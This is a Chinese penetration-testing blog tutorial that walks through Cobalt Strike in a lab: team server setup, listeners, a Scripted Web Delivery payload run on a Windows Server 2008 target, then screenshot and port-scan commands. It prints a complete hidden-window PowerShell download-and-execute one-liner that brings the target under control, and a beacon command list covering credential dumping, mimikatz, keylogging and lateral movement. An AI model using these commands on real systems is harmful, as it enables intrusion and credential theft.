148.网络安全渗透测试—[Cobalt Strike系列]—[基本使用/web脚本传递/屏幕截图/端口扫描]
创始人
2025-05-30 21:48:35

我认为:无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!!

文章目录

    • 一、Cobalt Strike基本使用
      • 1、Cobalt Strike简介
      • 2、Cobalt Strike(CS)整体框架图
    • 二、Cobalt Strike简单使用
      • 1、实验坏境
      • 2、实验过程

一、Cobalt Strike基本使用

1、Cobalt Strike简介

(1)官方主页:https://www.cobaltstrike.com/

(2)Cobalt Strike:是一款基于C/S架构(客户端/服务器)的商业渗透软件,适合多人进行团队协作,可模拟APT做模拟对抗、内网渗透等等。

(3)Cobalt Strike功能:是一款基于GUI(图形用户界面)的框架式渗透工具,集成了端口转发、服务扫描、自动化溢出、多模式端口监听、Windows的exe木马生成、Windows的dll木马生成、java木马生成、office宏病毒生成、木马捆绑、钓鱼攻击等等(钓鱼攻击包括:站点克隆、目标信息获取、java执行、浏览器自动攻击等等)。

2、Cobalt Strike(CS)整体框架图

客户端 Client服务器 Team Server攻击目标 Target_x
攻击者团队成员使用的图形化界面可以设置监听器(端口监听)、生成payload攻击载荷(会在服务器设置的监听端口上提供攻击代码下载)、Team Server 日志记录保存在logs文件夹、支持团队协同操作等等靶机通过Team Server提供的payload攻击载荷下载攻击代码

在这里插入图片描述

二、Cobalt Strike简单使用

1、实验坏境

ClientTeam ServerTarget_x
攻击者团队成员1:Windows7(安装了jre8的java开发跨平台)团队服务器:Kali Linux靶机1:Windows Server 2008
IP:192.168.97.130/24IP:192.168.97.129/24IP:192.168.97.131/24

2、实验过程

(1)如何在Kali Linux上创建Team Server团队服务器?

创建团队服务器语法:./teamserver
host是当前团队服务器的IP地址
password是分配给攻击者团队成员的密码
//如下图所示:成功的在Kali Linux开启了Team Server团队服务器,IP地址是本地的IP,密码是自定义的,成功后显示50050端口开启,该端口对应的就是团队服务器的服务。
在这里插入图片描述

(2)如何让本地和攻击者团队成员连接到Team Server团队服务器?

Linux本地连接方式:./cobaltstrike
//如下图所示:我们在团队服务器上进行本地连接,Host填写团队服务器IP,Port填写团队服务器的默认端口50050,User自定义,密码是刚刚设置的123456
在这里插入图片描述

Windows攻击者团队成员连接方式:双击cobaltstrike.bat
//如下图所示:主机填写Team Server团队服务器的IP地址,端口默认是50050,用户名自定义,密码是团队服务器开启时候给分配的123456。
在这里插入图片描述

(3)如何让靶机目标连接上Team Server团队服务器?
第一步:团队服务器上设置listener监听器
//如下图所示:我们设置名为beacon_http_1监听器,开启监听9999端口
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

第二步:团队服务器生成payload攻击载荷
//如下图所示:我们一般点击Attacks选项卡,然后选择Web Drive-by,最后点击Scripted Web Delivery脚本web传递,其中url它是个文件路径,Host是Team Server的IP,端口是Web服务的端口,powershell是攻击代码类型,其作用就是让目标(靶机)通过这个地址和80端口下载恶意脚本powershell。
在这里插入图片描述
//如下图所示:是生成的payload攻击载荷
在这里插入图片描述
//特别注意:该payload攻击载荷要保存下来
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.97.129:80/a'))"

第三步:目标靶机运行payload攻击载荷
靶机运行:powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.97.129:80/a'))"
//如下图所示:这份代码是powershell下运行的,会加载到内存执行。
在这里插入图片描述
在这里插入图片描述
(4)如何判断靶机以上线?
//如下图所示:我们通过视图和日志,可以看到靶机192.168.97.131已上线
在这里插入图片描述
(5)测试功能:屏幕截图和端口扫描

第一步:右键视图下的靶机,点击进入beacon

第二步:进入beacon后,输入help命令,查看具体的使用方法
beacon> help

Beacon Commands
===============Command                   Description-------                   -----------argue                     进程参数欺骗blockdlls                 阻止子进程加载非Microsoft DLLbrowserpivot              注入受害者浏览器进程bypassuac                 绕过UAC提升权限cancel                    取消正在进行的下载cd                        切换目录checkin                   强制让被控端回连一次clear                     清除beacon内部的任务队列connect                   Connect to a Beacon peer over TCPcovertvpn                 部署Covert VPN客户端cp                        复制文件dcsync                    从DC中提取密码哈希desktop                   远程桌面(VNC)dllinject                 反射DLL注入进程dllload                   使用LoadLibrary将DLL加载到进程中download                  下载文件downloads                 列出正在进行的文件下载drives                    列出目标盘符elevate                   使用expexecute                   在目标上执行程序(无输出)execute-assembly          在目标上内存中执行本地.NET程序exit                      终止beacon会话getprivs                  Enable system privileges on current tokengetsystem                 尝试获取SYSTEM权限getuid                    获取用户IDhashdump                  转储密码哈希值help                      帮助inject                    在注入进程生成会话jobkill                   结束一个后台任务jobs                      列出后台任务kerberos_ccache_use       从ccache文件中导入票据应用于此会话kerberos_ticket_purge     清除当前会话的票据kerberos_ticket_use       Apply 从ticket文件中导入票据应用于此会话keylogger                 键盘记录kill                      结束进程link                      Connect to a Beacon peer over a named pipelogonpasswords            使用mimikatz转储凭据和哈希值ls                        列出文件make_token                创建令牌以传递凭据mimikatz                  运行mimikatzmkdir                     创建一个目录mode dns                  使用DNS A作为通信通道(仅限DNS beacon)mode dns-txt              使用DNS TXT作为通信通道(仅限D beacon)mode dns6                 使用DNS AAAA作为通信通道(仅限DNS beacon)mode http                 使用HTTP作为通信通道mv                        移动文件net                       net命令note                      备注       portscan                  进行端口扫描powerpick                 通过Unmanaged PowerShell执行命令powershell                通过powershell.exe执行命令powershell-import         导入powershell脚本ppid                      Set parent PID for spawned post-ex jobsps                        显示进程列表psexec                    Use a service to spawn a session on a hostpsexec_psh                Use PowerShell to spawn a session on a hostpsinject                  在特定进程中执行PowerShell命令pth                       使用Mimikatz进行传递哈希pwd                       当前目录位置reg                       Query the registryrev2self                  恢复原始令牌rm                        删除文件或文件夹rportfwd                  端口转发run                       在目标上执行程序(返回输出)runas                     以其他用户权限执行程序runasadmin                在高权限下执行程序runu                      Execute a program under another PIDscreenshot                屏幕截图setenv                    设置环境变量shell                     执行cmd命令shinject                  将shellcode注入进程shspawn                   启动一个进程并将shellcode注入其中sleep                     设置睡眠延迟时间socks                     启动SOCKS4代理socks stop                停止SOCKS4spawn                     Spawn a session spawnas                   Spawn a session as another userspawnto                   Set executable to spawn processes intospawnu                    Spawn a session under another PIDssh                       使用ssh连接远程主机ssh-key                   使用密钥连接远程主机steal_token               从进程中窃取令牌timestomp                 将一个文件的时间戳应用到另一个文件unlink                    Disconnect from parent Beaconupload                    上传文件wdigest                   使用mimikatz转储明文凭据winrm                     使用WinRM横向渗透wmi                       使用WMI横向渗透

第三步:进行屏幕截图(执行速度较快)
beacon> screenshot
//如下图所示,截图的内容保存到了Team Server下的logs日志目录下
在这里插入图片描述

第四步:进行端口扫描(执行速度较慢)
beacon> portscan 192.168.97.131 1-1024,3389 arp 1024
//arp后面的1024是扫描线程
//扫描结果如下图所示:
在这里插入图片描述

相关内容

热门资讯

【lua初级篇】基础知识和开发... 文章介绍 文章介绍 简述 工具安装配置和下载 快速看基础知识 一些常用的关键字一览 数据类型 tab...
Yuv422、Nv12转C#B... 1.1、Nv12转Bitmapint w = 1920;int h = 1080;i...
Linux互斥量和信号量的区别... 互斥量和信号量的区别 1.互斥量用于线程的互斥: 互斥:加锁解锁,是指某...
Git 和 GitHub 超入... 1.解决行结束符问题 需要在你的仓库中添加一个.gitattributes文件,标记正...
基于C++的AI五子棋游戏项目... 项目资源下载 基于C++的AI五子棋游戏项目源码压缩包下载地址基于C+...
#浅聊 webSocket (... 如果可以实现记得点赞分享,谢谢老铁~ 一,什么是webso...
Java SE API kno... Java SE API know how 字符串 紧凑字符串 java8 无论字符串的编码ÿ...
常用的VB函数 数学函数函数说明示例Sin(N)返回自变量N的正弦值Sin(0)=0 N为弧度Cos(N)返...
C++ 机房预约系统(五):管... 7.3 显示功能 功能描述: 显示学生信息或教师信息 功能实现: voi...
PIC单片机的一些问题 error 1347 can't find 0x16 words (0x16 withtotal) ...
完美日记母公司再度携手中国妇基... 撰稿 | 多客 来源 | 贝多财经 当春时节,梦想花开。和煦的三月暖阳,...
GDPU C语言 天码行空3 1. 分段函数 #includeint main(){double x,y;scanf("%lf",...
【瑞萨 MCU】开发环境搭建之... e2 studio e2 studio(简称为 e2 或 e2s)是瑞萨...
C语言内联汇编 之前我们介绍了一种C语言与汇编代码混合编程方式,就是两个文件分开编写,分...
Linux 网络编程学习笔记—... 一、TCP 服务的特点 传输层协议主要有 TCP 协议和 UDP 协议,前者相对于后者...
KubeSphere All ... KubeSphere All in one安装配置手册 1. 初始化 1.1 配置apt源 # vi...
学习软件测试怎么能缺少练手的软... 你好,我是凡哥。 最近收到许多自学自动化测试的小伙伴私信,学习了理论知识...
【面试题】浅谈css加载是否会... 大厂面试题分享 面试题库前后端面试题库 (面试必备) 推荐:...
直播带货系统开发的关键点、代码... 时下,直播的热度依然不减,而它的产物之一:直播带货系统&#...
一文读懂强化学习! 一.了解强化学习1.1基本概念强化学习是考虑智能体(Agent)与环境&...
Spring Cloud之一:... 目录 环境 Eureka工程的创建步骤 系列目录(持续更新。。。) S...
golang实现守护进程(2) 前言golang实现守护进程,包含功能:1. 守护进程只创建一次2. 平...
url 格式详解 统一资源定位系统(uniform resource locator; url ...
elasticsearch7.... elasticsearch版本:7.17.3 目标:实现对类型为text...
SpringBoot 加载系统... 开发环境: IDEA 2022.1.4+ MyBatis         代码参考:spri...
交换机概念和知识和命令 目录 一、华为交换机基础学习的一些重要概念和知识 二、交换机常用命令大全 三、不常用的交换机命令 ...
什么是 JavaScript ... 本文首发自「慕课网」,想了解更多IT干货内容,程序员圈内热闻࿰...
【C++】C++11——lam... 文章目录一、Lambda表达式引入二、Lambda表达式语法三、Lambda表达式交换两个值四、La...
Java分布式事务(十) 文章目录🔥分布式架构的理论知识_BASE理论🔥分布式事务解决方案_最...
vmware中centos7实... 前言 在开发收银系统SAAS版本时,采用的是centos服务器,经常需要...